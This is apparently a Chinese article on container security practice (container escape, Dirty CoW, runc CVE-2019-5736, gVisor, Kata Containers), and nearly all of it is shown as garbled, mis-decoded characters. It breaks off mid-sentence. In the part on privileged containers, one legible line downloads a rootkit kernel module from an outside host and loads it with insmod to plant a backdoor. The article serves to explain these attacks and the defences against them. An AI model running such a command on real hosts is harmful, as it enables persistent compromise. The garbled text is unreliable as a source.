Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Model Center   Code  
»áÔ±   
   
 
     
   
 ¶©ÔÄ
  ¾èÖú
ÔÆÔ­ÉúÖ®ÈÝÆ÷°²È«Êµ¼ù
 
 
  1646  次浏览      30
 2021-6-23
 
±à¼­ÍƼö:
±¾ÎÄÖ÷Òª½éÉÜÁËÔÆÔ­ÉúµÄ¸ÅÊö¡¢ÈÝÆ÷·çÏÕ¡¢°²È«Êµ¼ù¡¢°²È«ÈÝÆ÷¼°°²È«Äں˵ȣ¬Ï£Íû¶ÔÄãµÄѧϰÓаïÖú¡£
±¾ÎÄÀ´×ÔÓÚÃÀÍż¼ÊõÍŶӣ¬ÓÉ»ðÁú¹ûÈí¼þLinda±à¼­¡¢ÍƼö¡£

¸ÅÊö

ÔÆÔ­Éú£¨Cloud Native£©ÊÇÒ»Ì×¼¼ÊõÌåϵºÍ·½·¨ÂÛ£¬ËüÓÉ2¸ö´Ê×é³É£¬ÔÆ£¨Cloud£©ºÍÔ­Éú£¨Native£©¡£ÔÆ£¨Cloud£©±íʾӦÓóÌÐòλÓÚÔÆÖУ¬¶ø²»ÊÇ´«Í³µÄÊý¾ÝÖÐÐÄ£»Ô­Éú£¨Native£©±íʾӦÓóÌÐò´ÓÉè¼ÆÖ®³õ¼´¿¼Âǵ½ÔƵĻ·¾³£¬Ô­ÉúÎªÔÆ¶øÉè¼Æ£¬ÔÚÔÆÉÏÒÔ×î¼Ñ״̬ÔËÐУ¬³ä·ÖÀûÓúͷ¢»ÓÔÆÆ½Ì¨µÄµ¯ÐԺͷֲ¼Ê½ÓÅÊÆ¡£

ÔÆÔ­ÉúµÄ´ú±í¼¼Êõ°üÀ¨ÈÝÆ÷¡¢·þÎñÍø¸ñ£¨Service Mesh£©¡¢Î¢·þÎñ£¨Microservice£©¡¢²»¿É±ä»ù´¡ÉèÊ©ºÍÉùÃ÷ʽAPI¡£¸ü¶à¶ÔÓÚÔÆÔ­ÉúµÄ½éÉÜÇë²Î¿¼CNCF/Foundation¡£

ͼ1 ÔÆÔ­Éú°²È«¼¼ÊõɳÅÌ£¨Security View£©

±ÊÕß½«¡°ÔÆÔ­Éú°²È«¡±³éÏó³ÉÈçÉÏͼËùʾµÄ¼¼ÊõɳÅÌ¡£×Ôµ×ÏòÉÏ¿´£¬µ×²ã´ÓÓ²¼þ°²È«£¨¿ÉÐÅ»·¾³£©µ½ËÞÖ÷»ú°²È« ¡£½«ÈÝÆ÷±àÅż¼Êõ£¨KubernetesµÈ£©¿´×÷ÔÆÉϵġ°²Ù×÷ϵͳ¡±£¬Ëü¸ºÔð×Ô¶¯»¯²¿Êð¡¢À©ËõÈÝ¡¢¹ÜÀíÓ¦Óõȡ£ÔÚËüÖ®ÉÏÓÉ΢·þÎñ¡¢Service Mesh¡¢ÈÝÆ÷¼¼Êõ£¨DockerµÈ£©¡¢ÈÝÆ÷¾µÏñ£¨²Ö¿â£©×é³É¡£ËüÃÇÖ®¼äÏศÏà³É£¬ÒÔÕâЩ¼¼ÊõΪ»ù´¡¹¹½¨ÔÆÔ­Éú°²È«¡£

ÎÒÃÇÔÙ¶ÔÈÝÆ÷°²È«×öÒ»²ã³éÏó£¬ÓÖ¿ÉÒÔ¿´×÷¹¹½¨Ê±°²È«£¨Build£©¡¢²¿Êðʱ°²È«£¨Deployment£©¡¢ÔËÐÐʱ°²È«£¨Runtime£©¡£

ÔÚÃÀÍÅÄÚ²¿£¬¾µÏñ°²È«ÓÉÈÝÆ÷¾µÏñ·ÖÎöƽ̨±£ÕÏ¡£ËüÒÔ¹æÔòÒýÇæµÄÐÎʽÔËÓª¼à¹ÜÈÝÆ÷¾µÏñ£¬Ä¬ÈϹæÔòÖ§³Ö¶Ô¾µÏñÖÐDockerfile¡¢¿ÉÒÉÎļþ¡¢Ãô¸ÐȨÏÞ¡¢Ãô¸Ð¶Ë¿Ú¡¢»ù´¡Èí¼þ©¶´¡¢ÒµÎñÈí¼þ©¶´ÒÔ¼°CISºÍNISTµÄ×î¼Ñʵ¼ù×ö¼ì²é£¬²¢Ìṩ·çÏÕÇ÷ÊÆ·ÖÎö£¬Í¬Ê±ËüÈ·±£²¿·Ö¹¹½¨Ê±°²È«¡£

ÈÝÆ÷ÔÚÔÆÔ­Éú¼Ü¹¹ÏÂÓÉÈÝÆ÷±àÅż¼Êõ£¨ÀýÈçKubernetes£©¸ºÔð²¿Ê𣬲¿Êð°²È«Í¬Ê±Ò²ÓëÉÏÎÄÌá¼°µÄÈÝÆ÷±àÅŰ²È«Óн»¼¯¡£

ÔËÐа²È«¹Ü¿Ø½»ÓÉHIDS¸ºÔ𣨿ɲο¼¡¶±£ÕÏIDC°²È«£º·Ö²¼Ê½HIDS¼¯Èº¼Ü¹¹Éè¼Æ¡·Ò»ÎÄ£©¡£±¾ÎÄËùÌÖÂ۵ķ¶³ëÒ²ÊôÓÚÔËÐа²È«Ö®Ò»£¬Ö÷Òª½â¾öÒÔÈÝÆ÷ÌÓÒÝΪģÐ͹¹½¨µÄ·çÏÕ£¨ÔÚ±¾ÎÄÖУ¬ÈôÎÞÌØÊâ˵Ã÷£¬ÈÝÆ÷Ö¸´úDocker£©¡£

¶ÔÓÚ°²È«ÊµÊ©×¼Ôò£¬ÎÒÃǽ«Æä·ÖΪÈý¸ö½×¶Î£º

¹¥»÷ǰ£º²Ã¼ô¹¥»÷Ãæ£¬¼õÉÙ¶ÔÍⱩ¶µÄ¹¥»÷Ãæ£¨±¾ÎÄÉæ¼°µÄ³¡¾°¹Ø¼ü´Ê£º¸ôÀ룩£»

¹¥»÷ʱ£º½µµÍ¹¥»÷³É¹¦ÂÊ£¨±¾ÎÄÉæ¼°µÄ³¡¾°¹Ø¼ü´Ê£º¼Ó¹Ì£©£»

¹¥»÷ºó£º¼õÉÙ¹¥»÷³É¹¦ºó¹¥»÷ÕßËùÄÜ»ñÈ¡µÄÓмÛÖµµÄÐÅÏ¢¡¢Êý¾ÝÒÔ¼°Ôö¼ÓÁôºóÃŵÄÄѶȵȡ£

½üЩÄ꣬Êý¾ÝÖÐÐĵĻù´¡¼Ü¹¹Öð½¥´Ó´«Í³µÄÐéÄ⻯£¨ÀýÈçKVM+QEMU¼Ü¹¹£©×ªÏòÈÝÆ÷»¯£¨Kubernetes+Docker¼Ü¹¹£©£¬µ«¡°ÌÓÒÝ¡±Ê¼ÖÕ¶¼ÊÇÆóÒµÒªÔÚÕâ2Öּܹ¹ÏÂËùÃæ¶ÔµÄ×îÑϾþµÄ°²È«ÎÊÌ⣬ͬʱËüÒ²ÊÇÈÝÆ÷·çÏÕÖÐ×î¾ß´ú±íÐԵݲȫÎÊÌâ¡£±ÊÕß½«ÒÔÈÝÆ÷ÌÓÒÝΪÇÐÈëµã£¬´Ó¹¥»÷Õ߽Ƕȣ¨ÈÝÆ÷ÌÓÒÝ£©µ½·ÀÓùÕ߽Ƕȣ¨»º½âÈÝÆ÷ÌÓÒÝ£©À´²ûÊöÈÝÆ÷°²È«µÄʵ¼ù£¬´Ó¶ø»º½âÈÝÆ÷·çÏÕ¡£

ÈÝÆ÷·çÏÕ

ÈÝÆ÷ÌṩÁ˽«Ó¦ÓóÌÐòµÄ´úÂë¡¢ÅäÖá¢ÒÀÀµÏî´ò°üµ½µ¥¸ö¶ÔÏóµÄ±ê×¼·½·¨¡£ÈÝÆ÷½¨Á¢ÔÚÁ½Ïî¹Ø¼ü¼¼ÊõÖ®ÉÏ£ºLinux NamespaceºÍLinux Cgroups¡£

Namespace´´½¨Ò»¸ö½üºõ¸ôÀëµÄÓû§¿Õ¼ä£¬²¢ÎªÓ¦ÓóÌÐòÌṩϵͳ×ÊÔ´£¨Îļþϵͳ¡¢ÍøÂçÕ»¡¢½ø³ÌºÍÓû§ID£©¡£CgroupÇ¿ÖÆÏÞÖÆÓ²¼þ×ÊÔ´£¬ÈçCPU¡¢ÄÚ´æ¡¢É豸ºÍÍøÂçµÈ¡£

ÈÝÆ÷ºÍVM²»Í¬Ö®´¦ÔÚÓÚ£¬VMÄ£ÄâÓ²¼þϵͳ£¬Ã¿¸öVM¶¼¿ÉÒÔÔÚ¶ÀÁ¢»·¾³ÖÐÔËÐÐOS¡£¹ÜÀí³ÌÐòÄ£ÄâCPU¡¢ÄÚ´æ¡¢´æ´¢¡¢ÍøÂç×ÊÔ´µÈ£¬ÕâЩӲ¼þ¿ÉÓɶà¸öVM¹²Ïí¶à´Î¡£

ͼ2 ÈÝÆ÷¹¥»÷Ãæ£¨Container Attack Surface£©

ÈÝÆ÷Ò»¹²ÓÐ7¸ö¹¥»÷Ãæ£ºLinux Kernel¡¢Namespace/Cgroups/Aufs¡¢Seccomp-bpf¡¢Libs¡¢Language VM¡¢User Code¡¢Container(Docker) engine¡£

±ÊÕßÒÔÈÝÆ÷ÌÓÒÝΪ·çÏÕÄ£ÐÍ£¬ÌáÁ¶³ö3¸ö¹¥»÷Ãæ£º

LinuxÄں˩¶´£»

ÈÝÆ÷×ÔÉí£»

²»°²È«²¿Êð£¨ÅäÖã©¡£

1. LinuxÄں˩¶´

ÈÝÆ÷µÄÄÚºËÓëËÞÖ÷Äں˹²Ïí£¬Ê¹ÓÃNamespaceÓëCgroupsÕâÁ½Ïî¼¼Êõ£¬Ê¹ÈÝÆ÷ÄÚµÄ×ÊÔ´ÓëËÞÖ÷»ú¸ôÀ룬ËùÒÔLinuxÄں˲úÉúµÄ©¶´Äܵ¼ÖÂÈÝÆ÷ÌÓÒÝ¡£

ÄÚºËÌáȨVSÈÝÆ÷ÌÓÒÝ

ͨÓÃLinuxÄÚºËÌáȨ·½·¨ÂÛ

ÐÅÏ¢ÊÕ¼¯£ºÊÕ¼¯Ò»ÇжÔдexploitÓаïÖúµÄÐÅÏ¢¡£ È磺Äں˰汾£¬ÐèҪȷ¶¨¹¥»÷µÄÄÚºËÊÇʲô°æ±¾£¿ Õâ¸öÄں˰汾¿ªÆôÁËÄÄЩ¼Ó¹ÌÅäÖã¿ »¹ÐèÖªµÀÔÚдshellcodeµÄʱºò»áµ÷ÓÃÄÄЩÄں˺¯Êý£¿Õâʱºò¾ÍÐèÒª²éѯÄں˷ûºÅ±í£¬µÃµ½º¯ÊýµØÖ·¡£ »¹¿É´ÓÄÚºËÖеõ½Ò»Ð©¶Ô±àдÀûÓÃÓаïÖúµÄµØÖ·ÐÅÏ¢¡¢½á¹¹ÐÅÏ¢µÈµÈ¡£

´¥·¢½×¶Î£º´¥·¢Ïà¹ØÂ©¶´£¬¿ØÖÆRIP£¬½Ù³ÖÄں˴úÂë·¾¶£¬¼ò¶øÑÔÖ®£¬»ñÈ¡ÔÚÄÚºËÖÐÈÎÒâÖ´ÐдúÂëµÄÄÜÁ¦¡£

²¼ÖÃshellcode£ºÔÚ±àдÄÚºËexploit´úÂëµÄʱºò£¬ÐèÒªÕÒµ½Ò»¿éÄÚ´æÀ´´æ·ÅÎÒÃǵÄshellcode ¡£ Õâ¿éÄÚ´æÖÁÉÙµÃÂú×ãÁ½¸öÌõ¼þ£º

µÚÒ»£ºÔÚ´¥·¢Â©¶´Ê±£¬ÎÒÃÇÒª½Ù³Ö´úÂë·¾¶£¬±ØÐë±£Ö¤´úÂë·¾¶¿ÉÒÔµ½´ï´æ·ÅshellcodeµÄÄÚ´æ¡£

µÚ¶þ£ºÕâ¿éÄÚ´æÊÇ¿ÉÒÔ±»Ö´Ðе쬻»¾ä»°Ëµ£¬´æ·ÅshellcodeµÄÕâ¿éÄÚ´æ¾ßÓпÉÖ´ÐÐȨÏÞ¡£

Ö´Ðн׶Î

µÚÒ»£º»ñÈ¡¸ßÓÚµ±Ç°Óû§µÄȨÏÞ£¬Ò»°ãÎÒÃǶ¼ÊÇÖ±½Ó»ñÈ¡rootȨÏÞ£¬±Ï¾¹ËüÊÇLinuxÖеÄ×î¸ßȨÏÞ£¬Ò²¾ÍÊÇÖ´ÐÐÎÒÃǵÄshellcode¡£

µÚ¶þ£º±£Ö¤ÄÚºËÎȶ¨£¬²»ÄÜÒòΪÎÒÃÇÐèÒªÌáȨ¶øÆÆ»µÔ­À´Äں˵ĴúÂë·¾¶¡¢Äں˽ṹ¡¢ÄÚºËÊý¾ÝµÈµÈ£¬¶øµ¼ÖÂÄں˱ÀÀ£¡£ÕâÑùµÄ»°£¬¼´Ê¹µÃµ½rootȨÏÞҲûÓÐÌ«´óµÄÒâÒå¡£

¼ò¶øÑÔÖ®£¬ÊÕ¼¯¶Ô±àдexploitÓаïÖúµÄÐÅÏ¢£¬È»ºó´¥·¢Â©¶´È¥Ö´ÐÐÌØÈ¨´úÂ룬´ïµ½ÌáȨµÄЧ¹û¡£

ͼ3 ÈÝÆ÷ÌÓÒݼòÒ×Ä£ÐÍ£¨Container Escape Model£©

ÈÝÆ÷ÌÓÒݺÍÄÚºËÌáȨֻÓÐϸ΢µÄ²î±ð£¬ÐèÒªÍ»ÆÆnamespaceµÄÏÞÖÆ¡£½«¸ßȨÏÞµÄnamespace¸³µ½exploit½ø³ÌµÄtask_structÖС£Õⲿ·ÖµÄÏêϸ¼¼Êõϸ½Ú²»ÔÚ±¾ÎÄÌÖÂÛ·¶Î§ÄÚ£¬±ÊÕßδÀ´»á³é¿ÕÔÙдһƪ¹ØÓÚÈÝÆ÷ÌÓÒݵļ¼ÊõÎÄÕ£¬Ïêϸ½éÉܸÃÏà¹Ø¼¼ÊõµÄϸ½Ú¡£

¾­µäµÄDirty CoW

±ÊÕßÒÔDirty CoW©¶´À´ËµÃ÷Linux©¶´µ¼ÖµÄÈÝÆ÷ÌÓÒÝ¡£Â©¶´ËäÀÏ£¬ÄκÎÌ«¹ý¾­µä¡£Ð´µ½Õ⣬±ÊÕß²»½ûÏëÎÊ£º¶àÄê¹ýÈ¥£¬Ä¿Ç°¹úÄÚÍâ¸÷´ó³§£¬Dirty Cow©¶´µÄ´æÁ¿»úÆ÷ÐÞ¸´ÂÊÊǶàÉÙ£¿

ÔÚLinuxÄں˵ÄÄÚ´æ×Óϵͳ´¦Àí˽ÓÐÖ»¶ÁÄÚ´æÓ³ÉäµÄдʱ¸´ÖÆ£¨Copy-on-Write£¬CoW£©»úÖÆµÄ·½Ê½Öз¢ÏÖÁËÒ»¸ö¾ºÕù³åÍ»¡£Ò»¸öûÓÐÌØÈ¨µÄ±¾µØÓû§£¬¿ÉÄÜ»áÀûÓôË©¶´»ñµÃ¶ÔÆäËûÇé¿öÏÂÖ»¶ÁÄÚ´æÓ³ÉäµÄд·ÃÎÊȨÏÞ£¬´Ó¶øÔö¼ÓËûÃÇÔÚϵͳÉϵÄÌØÈ¨£¬Õâ¾ÍÊÇÖªÃûµÄDirty CoW©¶´¡£

Dirty CoW©¶´µÄÌÓÒݵÄʵÏÖ˼·ºÍÉÏÊöµÄ˼·²»Ì«Ò»Ñù£¬²ÉÈ¡Overwrite vDSO¼¼Êõ¡£

vDSO£¨Virtual Dynamic Shared Object£©ÊÇÄÚºËΪÁ˼õÉÙÄÚºËÓëÓû§¿Õ¼äƵ·±Çл»£¬Ìá¸ßϵͳµ÷ÓÃЧÂʶøÉè¼ÆµÄ»úÖÆ¡£ËüͬʱӳÉäÔÚÄں˿ռäÒÔ¼°Ã¿Ò»¸ö½ø³ÌµÄÐéÄâÄÚ´æÖУ¬°üÀ¨ÄÇЩÒÔrootȨÏÞÔËÐеĽø³Ì¡£Í¨¹ýµ÷ÓÃÄÇЩ²»ÐèÒªÉÏÏÂÎÄÇл»£¨context switching£©µÄϵͳµ÷ÓÿÉÒÔ¼Ó¿ìÕâÒ»²½Ö裨¶¨Î»vDSO£©¡£vDSOÔÚÓû§¿Õ¼ä£¨userspace£©Ó³ÉäΪR/X£¬¶øÔÚÄں˿ռ䣨kernelspace£©ÔòΪR/W¡£ÕâÔÊÐíÎÒÃÇÔÚÄں˿ռäÐÞ¸ÄËü£¬½Ó×ÅÔÚÓû§¿Õ¼äÖ´ÐС£ÓÖÒòΪÈÝÆ÷ÓëËÞÖ÷»úÄں˹²Ïí£¬ËùÒÔ¿ÉÒÔÖ±½ÓʹÓÃÕâÏî¼¼ÊõÌÓÒÝÈÝÆ÷¡£

ÀûÓò½ÖèÈçÏ£º

»ñÈ¡vDSOµØÖ·£¬ÔÚаæµÄglibcÖпÉÒÔÖ±½Óµ÷ÓÃgetauxval()º¯Êý»ñÈ¡£»

ͨ¹ývDSOµØÖ·ÕÒµ½clock_gettime()º¯ÊýµØÖ·£¬¼ì²éÊÇ·ñ¿ÉÒÔhijack£»

´´½¨¼àÌýsocket£»

´¥·¢Â©¶´£¬Dirty CoWÊÇÓÉÓÚÄÚºËÄÚ´æ¹ÜÀíϵͳʵÏÖCoWʱ²úÉúµÄ©¶´¡£Í¨¹ýÌõ¼þ¾ºÕù£¬°ÑÎÕºÃÔÚÇ¡µ±µÄʱ»ú£¬ÀûÓÃCoWµÄÌØÐÔ¿ÉÒÔ½«ÎļþµÄread-onlyÓ³Éä¸ÃΪwrite¡£×Ó½ø³Ì²»Í£µØ¼ì²éÊÇ·ñ³É¹¦Ð´Èë¡£¸¸½ø³Ì´´½¨¶þ¸öỊ̈߳¬ptrace_threadÏß³ÌÏòvDSOдÈëshellcode¡£madvise_threadÏß³ÌÊÍ·ÅvDSOÓ³Éä¿Õ¼ä£¬Ó°Ïìptrace_threadÏß³ÌCoWµÄ¹ý³Ì£¬²úÉúÌõ¼þ¾ºÕù£¬µ±Ìõ¼þ´¥·¢¾ÍÄÜдÈë³É¹¦¡£

Ö´ÐÐshellcode£¬µÈ´ý´ÓËÞÖ÷»ú·µ»Øroot shell£¬³É¹¦ºó»Ö¸´vDSOԭʼÊý¾Ý¡£

2. ÈÝÆ÷×ÔÉí

ÎÒÃÇÏȼòµ¥µÄ¿´Ò»ÏÂDockerµÄ¼Ü¹¹Í¼£º

ͼ4 Docker¼Ü¹¹Í¼

Docker±¾ÉíÓÉDocker£¨Docker Client£©ºÍDockerd£¨Docker Daemon£©×é³É¡£µ«´ÓDocker 1.11¿ªÊ¼£¬Docker²»ÔÙÊǼòµ¥µÄͨ¹ýDocker DameonÀ´Æô¶¯£¬¶øÊǼ¯³ÉÐí¶à×é¼þ£¬°üÀ¨containerd¡¢runcµÈµÈ¡£

Docker ClientÊÇDockerµÄ¿Í»§¶Ë³ÌÐò£¬ÓÃÓÚ½«Óû§ÇëÇó·¢Ë͸øDockerd¡£Dockerdʵ¼Êµ÷ÓõÄÊÇcontainerdµÄAPI½Ó¿Ú£¬containerdÊÇDockerdºÍruncÖ®¼äµÄÒ»¸öÖм佻Á÷×é¼þ£¬Ö÷Òª¸ºÔðÈÝÆ÷ÔËÐС¢¾µÏñ¹ÜÀíµÈ¡£containerdÏòÉÏΪDockerdÌṩÁËgRPC½Ó¿Ú£¬Ê¹µÃDockerdÆÁ±ÎÏÂÃæµÄ½á¹¹±ä»¯£¬È·±£Ô­ÓнӿÚÏòϼæÈÝ£»ÏòÏ£¬Í¨¹ýcontainerd-shimÓërunc½áºÏ´´½¨¼°ÔËÐÐÈÝÆ÷¡£¸ü¶àµÄÏà¹ØÄÚÈÝ£¬Çë²Î¿¼ÎÄÄ©Á´½Órunc¡¢containerd¡¢architecture¡£Á˽âÇå³þÕâЩ֮ºó£¬ÎÒÃǾͿÉÒÔ½áºÏ×ÔÉíµÄ°²È«¾­Ñ飬´ÓÕâЩ×é¼þÏ໥¼äµÄͨÐÅ·½Ê½¡¢ÒÀÀµ¹ØÏµµÈѰÕÒÄܵ¼ÖÂÌÓÒݵÄ©¶´¡£

ÏÂÃæÎÒÃÇÒÔDockerÖеÄrunc×é¼þËù²úÉúµÄ©¶´À´ËµÃ÷ÒòÈÝÆ÷×ÔÉíµÄ©¶´¶øµ¼ÖµÄÌÓÒÝ¡£

CVE-2019-5736£ºrunc - container breakout vulnerability

runcÔÚʹÓÃÎļþϵͳÃèÊö·ûʱ´æÔÚ©¶´£¬¸Ã©¶´¿Éµ¼ÖÂÌØÈ¨ÈÝÆ÷±»ÀûÓã¬Ôì³ÉÈÝÆ÷ÌÓÒÝÒÔ¼°·ÃÎÊËÞÖ÷»úÎļþϵͳ£»¹¥»÷ÕßÒ²¿ÉÒÔʹÓöñÒâ¾µÏñ£¬»òÐÞ¸ÄÔËÐÐÖеÄÈÝÆ÷ÄÚµÄÅäÖÃÀ´ÀûÓôË©¶´¡£

¹¥»÷·½Ê½1£º£¨¸Ã;¾¶ÐèÒªÌØÈ¨ÈÝÆ÷£©ÔËÐÐÖеÄÈÝÆ÷±»ÈëÇÖ£¬ÏµÍ³Îļþ±»¶ñÒâ´Û¸Ä ==> ËÞÖ÷»úÔËÐÐdocker execÃüÁÔÚ¸ÃÈÝÆ÷Öд´½¨Ð½ø³Ì ==> ËÞÖ÷»úrunc±»Ì滻Ϊ¶ñÒâ³ÌÐò ==> ËÞÖ÷»úÖ´ÐÐdocker run/exec ÃüÁîʱ´¥·¢Ö´ÐжñÒâ³ÌÐò£»

¹¥»÷·½Ê½2£º£¨¸Ã;¾¶ÎÞÐèÌØÈ¨ÈÝÆ÷£©docker runÃüÁîÆô¶¯Á˱»¶ñÒâÐ޸ĵľµÏñ ==> ËÞÖ÷»úrunc±»Ì滻Ϊ¶ñÒâ³ÌÐò ==> ËÞÖ÷»úÔËÐÐdocker run/execÃüÁîʱ´¥·¢Ö´ÐжñÒâ³ÌÐò¡£

µ±runcÔÚÈÝÆ÷ÄÚÖ´ÐÐеijÌÐòʱ£¬¹¥»÷Õß¿ÉÒÔÆÛÆ­ËüÖ´ÐжñÒâ³ÌÐò¡£Í¨¹ýʹÓÃ×Ô¶¨Òå¶þ½øÖÆÎļþÌæ»»ÈÝÆ÷ÄÚµÄÄ¿±ê¶þ½øÖÆÎļþÀ´ÊµÏÖÖ¸»Ørunc¶þ½øÖÆÎļþ¡£

Èç¹ûÄ¿±ê¶þ½øÖÆÎļþÊÇ/bin/bash£¬¿ÉÒÔÓÃÖ¸¶¨½âÊÍÆ÷µÄ¿ÉÖ´Ðнű¾Ìæ»»#!/proc/self/exe¡£Òò´Ë£¬ÔÚÈÝÆ÷ÄÚÖ´ÐÐ/bin/bash£¬/proc/self/exeµÄÄ¿±ê½«±»Ö´ÐУ¬½«Ä¿±êÖ¸Ïòrunc¶þ½øÖÆÎļþ¡£

È»ºó¹¥»÷Õß¿ÉÒÔ¼ÌÐøÐ´Èë/proc/self/exeÄ¿±ê£¬³¢ÊÔ¸²¸ÇÖ÷»úÉϵÄrunc¶þ½øÖÆÎļþ¡£ÕâÀïÐèҪʹÓÃO_PATH flag´ò¿ª/proc/self/exeÎļþÃèÊö·û£¬È»ºóÒÔO_WRONLY flag ͨ¹ý/proc/self/fd/ÖØÐ´ò¿ª¶þ½øÖÆÎļþ£¬²¢ÇÒÓõ¥¶ÀµÄÒ»¸ö½ø³Ì²»Í£µØÐ´Èë¡£µ±Ð´Èë³É¹¦Ê±£¬runc»áÍ˳ö¡£

3. ²»°²È«²¿Êð£¨ÅäÖã©

ÔÚʵ¼ÊÖУ¬ÎÒÃǾ­³£»áÓöµ½ÕâÖÖ×´¿ö£º²»Í¬µÄÒµÎñ»á¸ù¾Ý×ÔÉíÒµÎñÐèÇóÌṩһÌ××Ô¼ºµÄÅäÖ㬶øÕâÌ×ÅäÖò¢Î´µÃµ½ÓÐЧµÄ¹Ü¿ØÉ󼯣¬Ê¹µÃÄÚ²¿»·¾³±äµÃ¸´ÔÓ¶àÑù£¬ÎÞÐÎÖ®ÖÐÓÖÔö¼ÓÁ˺ܶà·çÏյ㡣×î³£¼ûµÄ°üÀ¨£º

ÌØÈ¨ÈÝÆ÷»òÕßÒÔrootȨÏÞÔËÐÐÈÝÆ÷£»

²»ºÏÀíµÄCapabilityÅäÖã¨È¨ÏÞ¹ý´óµÄCapability£©¡£

Ãæ¶ÔÌØÈ¨ÈÝÆ÷£¬ÔÚÈÝÆ÷ÄÚ¼òµ¥µØÖ´ÐÐÒ»ÏÂÃüÁ¾Í¿ÉÒÔÇáËɵØÔÚËÞÖ÷»úÉÏÁôϺóÃÅ£º

$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko

ĿǰÔÚÃÀÍÅÄÚ²¿£¬ÎÒÃÇÒѾ­ÓÐЧµØÊÕÁ²ÁËÌØÈ¨ÈÝÆ÷ÎÊÌâ¡£

Õⲿ·ÖÒµ½çÒѾ­¸ø³öÁË×î¼Ñʵ¼ù£¬´ÓËÞÖ÷»úÅäÖá¢DockerdÅäÖá¢ÈÝÆ÷¾µÏñ¡¢Dockerfile¡¢ÈÝÆ÷ÔËÐÐʱµÈ·½Ãæ±£ÕÏÁ˰²È«£¬¸ü¶àϸ½ÚÇë²Î¿¼Benchmark/Docker¡£Í¬Ê±Docker¹Ù·½ÒѾ­½«ÆäʵÏÖ³É×Ô¶¯»¯¹¤¾ß£¨gVisor£©¡£

°²È«Êµ¼ù

Ϊ½â¾öÉÏÊö²¿·ÖËù²ûÊöµÄÈÝÆ÷ÌÓÒÝÎÊÌ⣬ÏÂÎĽ«Öصã´Ó¸ôÀ루°²È«ÈÝÆ÷£©Óë¼Ó¹Ì£¨°²È«Äںˣ©Á½¸ö½Ç¶ÈÀ´½øÐÐÌÖÂÛ¡£

°²È«ÈÝÆ÷

°²È«ÈÝÆ÷µÄ¼¼Êõ±¾ÖʾÍÊǸôÀë¡£gVisorºÍKata ContainerÊDZȽϾßÓдú±íÐÔµÄʵÏÖ·½Ê½£¬Ä¿Ç°Ñ§Êõ½çÒ²ÔÚ̽Ë÷»ùÓÚIntel SGXµÄ°²È«ÈÝÆ÷¡£

¼òµ¥µØËµ£¬gVisorÊÇÔÚÓû§Ì¬ºÍÄÚºË̬֮¼ä³éÏó³öÒ»²ã£¬·â×°³ÉAPI£¬ÓеãÏñuser-mode kernel£¬ÒÔ´ËʵÏÖ¸ôÀë¡£Kata Container²ÉÓÃÁËÇáÁ¿¼¶µÄÐéÄâ»ú¸ôÀ룬Ó봫ͳµÄVM±È½ÏÀàËÆ£¬µ«ÊÇËüʵÏÖÁËÎ޷켯³Éµ±Ç°µÄKubernetes¼ÓDocker¼Ü¹¹¡£ÎÒÃǽÓ×ÅÀ´¿´gVisorÓëKata ContainerµÄÒìͬ¡£

Case 1: gVisor

gVisorÊÇÓÃGolang±àдµÄÓû§Ì¬Äںˣ¬»òÕß˵ÊÇɳÏä¼¼Êõ£¬ËüÖ÷ҪʵÏÖÁ˴󲿷ֵÄsystem call¡£ËüÔËÐÐÔÚÓ¦ÓóÌÐòºÍÄÚºËÖ®¼ä£¬ÎªËüÃÇÌṩ¸ôÀë¡£gVisor±»Ê¹ÓÃÔÚGoogleÔÆ¼ÆËãÆ½Ì¨µÄApp Engine¡¢Cloud FunctionsºÍCloud MLÖС£gVisorÔËÐÐʱ£¬ÊÇÓɶà¸öɳÏä×é³É£¬ÕâЩɳÏä½ø³Ì¹²Í¬¸²¸ÇÁËÒ»¸ö»ò¶à¸öÈÝÆ÷¡£Í¨¹ýÀ¹½Ø´ÓÓ¦ÓóÌÐòµ½Ö÷»úÄں˵ÄËùÓÐϵͳµ÷Ó㬲¢Ê¹ÓÃÓû§¿Õ¼äÖеÄSentry´¦ÀíËüÃÇ£¬gVisor³äµ±guest kernelµÄ½ÇÉ«£¬ÇÒÎÞÐèͨ¹ýÐéÄ⻯Ӳ¼þת»»£¬¿ÉÒÔ½«Ëü¿´×övmmÓëguest kernelµÄ¼¯ºÏ£¬»òÊÇseccompµÄÔöÇ¿°æ¡£

ͼ5 gVisor¼Ü¹¹Í¼£¨À´×ÔgVisor)

Case 2: Kata Container

Kata ContainerµÄContainer RuntimeÊÇÓÃhypervisor £¬È»ºóÓÃhardware virtualizationʵÏÖ£¬ÈçͬÐéÄâ»ú¡£ËùÒÔÿһ¸öÏñÕâÑùµÄKata ContainerµÄPod£¬¶¼ÊÇÒ»¸öÇáÁ¿¼¶ÐéÄâ»ú£¬ËüÓµÓÐÍêÕûµÄLinuxÄںˡ£ËùÒÔKata ContainerÓëVMÒ»ÑùÄÜÌṩǿ¸ôÀëÐÔ£¬µ«ÓÉÓÚËüµÄÓÅ»¯ºÍÐÔÄÜÉè¼Æ£¬Í¬Ê±Ò²ÓµÓÐÓëÈÝÆ÷ÏàæÇÃÀµÄÃô½ÝÐÔ¡£

ͼ6 Kata Container ¼Ü¹¹Í¼£¨Í¼Æ¬À´×ÔKatacontainers.io£©

Kata ContainerÔÚÖ÷»úÉÏÓÐÒ»¸ökata-runtimeÀ´Æô¶¯ºÍÅäÖÃÐÂÈÝÆ÷¡£¶ÔÓÚKata VMÖеÄÿ¸öÈÝÆ÷£¬Ö÷»úÉ϶¼ÓÐÏàÓ¦µÄKata Shim¡£ Kata Shim½ÓÊÕÀ´×Ô¿Í»§¶ËµÄAPIÇëÇó£¨ÀýÈçDocker»òkubectl£©£¬²¢Í¨¹ýVSock½«ÇëÇóת·¢¸øKata VMÄڵĴúÀí¡£ KataÈÝÆ÷½øÒ»²½ÓÅ»¯ÒÔ¼õÉÙVMÆô¶¯Ê±¼ä¡£ ʹÓÃQEMUµÄÇáÁ¿¼¶°æ±¾NEMU£¬É¾³ýÁËÔ¼80£¥µÄÉ豸ºÍ°ü¡£ VM-Templating´´½¨ÔËÐÐKata 